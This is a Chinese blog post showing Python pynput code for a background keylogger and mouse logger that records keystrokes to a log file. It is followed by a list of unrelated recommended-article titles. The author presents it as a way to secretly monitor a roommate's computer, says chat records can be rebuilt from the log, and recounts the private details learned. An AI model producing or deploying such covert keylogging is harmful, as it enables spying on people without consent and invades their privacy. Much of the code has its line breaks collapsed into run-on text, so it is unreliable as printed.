1.使用pynput库

    pynput 可以监控我们的键盘和鼠标。目前具有此类功能的库有很多,比如 pygame 等游戏库,但是当我们只需要监控键盘和鼠标时,它们就显得过于笨重了。

2.对键盘监控

在他的电脑常驻一个后台进程去实现监控键盘输入并记录下来,代码大概可以这样:

from pynput import keyboarddef on_press(key):print(f'{key} :pushed')def on_release(key):#print(f'{key} released')if key == keyboard.Key.esc:# Stop listenerreturn Falsewith keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:lsn.join()
复制代码

控制台打印:                   

3.对鼠标监控

from pynput import mousedef on_click(x, y, button, pressed):if button == mouse.Button.left:print('left was pressed!')elif button == mouse.Button.right:print('right was pressed!')return Falseelse:print('mid was pressed!')# Collect events until released
with mouse.Listener(on_click=on_click) as listener:listener.join()
复制代码

控制台打印:                   

你会发现,每条打印都被打印了两次,这是因为按下去和抬起来都会触发鼠标事件。

4.监控并记录到日志文件

from pynput import keyboard,mouse
from loguru import logger
from threading import Thread# 定义日志文件
logger.add('demo.log')
def on_press(key):logger.debug(f'{key} :pushed')def on_release(key):#print(f'{key} released')if key == keyboard.Key.esc:# Stop listenerreturn False# 定义f1用于线程1
def f1():with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:lsn.join()def on_click(x, y, button, pressed):if button == mouse.Button.left:logger.debug('left was pressed!')elif button == mouse.Button.right:logger.debug('right was pressed!')return Falseelse:logger.debug('mid was pressed!')# 定义f2用于线程2
def f2():# Collect events until releasedwith mouse.Listener(on_click=on_click) as listener:listener.join()if __name__ == '__main__':# 起两个线程分别监控键盘和鼠标t1 = Thread(target=f1)t2 = Thread(target=f2)t1.start()t2.start()
复制代码

查看日志内容:   

这样键盘操作已经全部被记录,通过对这个日志文件进行简单的 NLTK 语言处理,就能复原聊天记录。 这个记录就不给你们展示了,属于隐私,但能告诉你们结果,嗯,其实他女友挺好,看我上铺兄弟每次都要加班很晚,身体有点不行了,但又好面子,所以偷偷给他在网上买补药,想给他补补~笑死

用Python防止头上一片青青草原相关推荐

  1. 懒羊羊吃青草:懒羊羊是一只非常能吃的羊,它在青青草原上发现一块巨大的正方形草地,但灰太狼已经抢先一步在草地上布下了若干陷阱。正方形草地位于直角坐标系中...

    题面描述 懒羊羊是一只非常能吃的羊,它在青青草原上发现一块巨大的正方形草地,但灰太狼已经抢先一步在草地上布下了若干陷阱.正方形草地位于直角坐标系中,左下角坐标为 (1, 1) ,右上角坐标为 (m, ...

  2. c语言喜羊羊,青青草原101C位之争,喜羊羊vs懒羊羊

    原标题:青青草原101C位之争,喜羊羊vs懒羊羊 还记得小时候陪伴你长大的动画片<喜羊羊与灰太狼>吗? 羊历3513年,青青草原上,羊羊族群已经十分兴旺发达.在羊羊一族里面已经有小镇,有学 ...

  3. 如何在Python中匹配最接近的字符串

    ■ 背景 手边有79个学校参加 智能车深度学习组别 提交的技术报告,但是在等级的EXCEL表格中对应的学校的名称与报告名称有些区别.那么如何能够比较自动对这些名称进行匹配呢? 这里使用了PYTHON库 ...

  4. python 炒股公式_同事用Python炒股赚了3W,我酸了...

    最近的股市持续波动,作为在股市厮杀多年的老投资(韭菜)人,每天只能看着账户上的青青草原暗自落泪... 直到同事告诉我他这月在股市赚了3W... 我承认,我酸了!!! 在我的不断追问下,他终于坦白了他的 ...

  5. 太骚气了!同事用Python自动炒股赚了3w,实现躺着赚钱?

    最近的股市持续波动,作为在股市厮杀多年的老投资(韭菜)人,每天只能看着账户上的青青草原暗自落泪... 直到同事告诉我他这月在股市赚了3W... 我承认,我酸了!!! 在我的不断追问下,他终于坦白了他的 ...

  6. python字符串切片,os模块练习处理

    想学习字符串的切片,需要了解字符串的功能,这篇文章先开始说说字符串.然后集合练习,希望能够给你帮助.不要忘了点个赞哦! 字符串的常见方法: |-- capitalize() # 首字母大写 |-- c ...

  7. Python爬虫:爬取“Boss直聘”招聘数据

    hello 大家好~ 又是元气满满的一天呢~ 既然元气满满,要不要搞点事情,譬如说,爬取"Boss直聘"(此处模仿歪果仁讲话更带感)的招聘数据~ 说走咱就走,说干咱就干~" ...

  8. Python(自学之旅四)

    今天我们还是像往常一样,以图片和实例的形式带大家了解一些基础知识 多维列表 内存结构图: 实例: # 多维列表 # 之前我们使用的列表就是一维 比如 a = [1,2,3,4,5,6] 接下来我们来了 ...

  9. python手记(四):pillow(二) ImageChops类 视觉冲击(图片像素点运算)

    人生不易且无趣,一起找点乐子吧.欢迎评论,和文章无关的也可以. 咳咳(清下嗓子,准备发话),自娱自乐型人格分裂患者.haaa. 前面我们简单看了pillow的基础Image类.现在我们成功的过度了,进 ...

最新文章

  1. ThinkPad R400在Windows7下的几个问题
  2. 1154:LETTERS
  3. 【调参实战】BN和Dropout对小模型有什么影响?全局池化相比全连接有什么劣势?...
  4. python3获得命令行输入的参数
  5. 5.cocos2dx中关于draw绘图,声音和音效,预加载,播放与停止Vs暂停和恢复,音量控制
  6. linux中grep基本用法
  7. 防止缓存爆炸的快速提示
  8. SQL Server 2008 各种DateTime的取值范围
  9. Apache Sentry 第一弹:Server启动、连接Hue、分组详解
  10. flume1.6 + syslogtcp + kafka 日志采集(二)
  11. 《推荐系统实践》算法纯享(附代码链接)(六)—— 借助社交网络推荐篇
  12. 集成运算放大器对输入级的要求
  13. 特斯拉指控华裔工程师窃密案升级 要求小鹏披露源代码
  14. Android 梯形TextView
  15. 京东秒杀系统是世界上最牛批的,不接受反驳!
  16. 使360浏览器打开网页默认为极速模式
  17. 愤世嫉俗的程序员,总在某乎发表言论,当起了“键盘侠”
  18. Mac 双系统bootcamp不能正常卸载windows系统
  19. java 工具类命名_16种java工具类
  20. Json 在线调试工具

热门文章

  1. R语言可视化dataframe数据、并自定义设置坐标轴各个标签使用不同的色彩
  2. R语言ggplot2使用geom_line函数geom_point函数可视化哑铃图、并对哑铃图进行排序(reorder dumbbell plot)
  3. R语言可视化包ggplot2包通过因子变量设置图像颜色实战
  4. R语言dplyr包na_if函数根据条件将数据对象替换为NA值实战
  5. JS+库+框架+工具
  6. android8.0 go 机型,安卓8.0良心!还开发了安卓GO, 适配给低配手机,魅族很尴尬!...
  7. 腾讯云 已连接到实验云主机 linux 运维基本操作
  8. Android实例开发中如何创建第一个项目(android studio)
  9. Android入门教程 (二) 第一个App HelloWorld
  10. 学习python(五)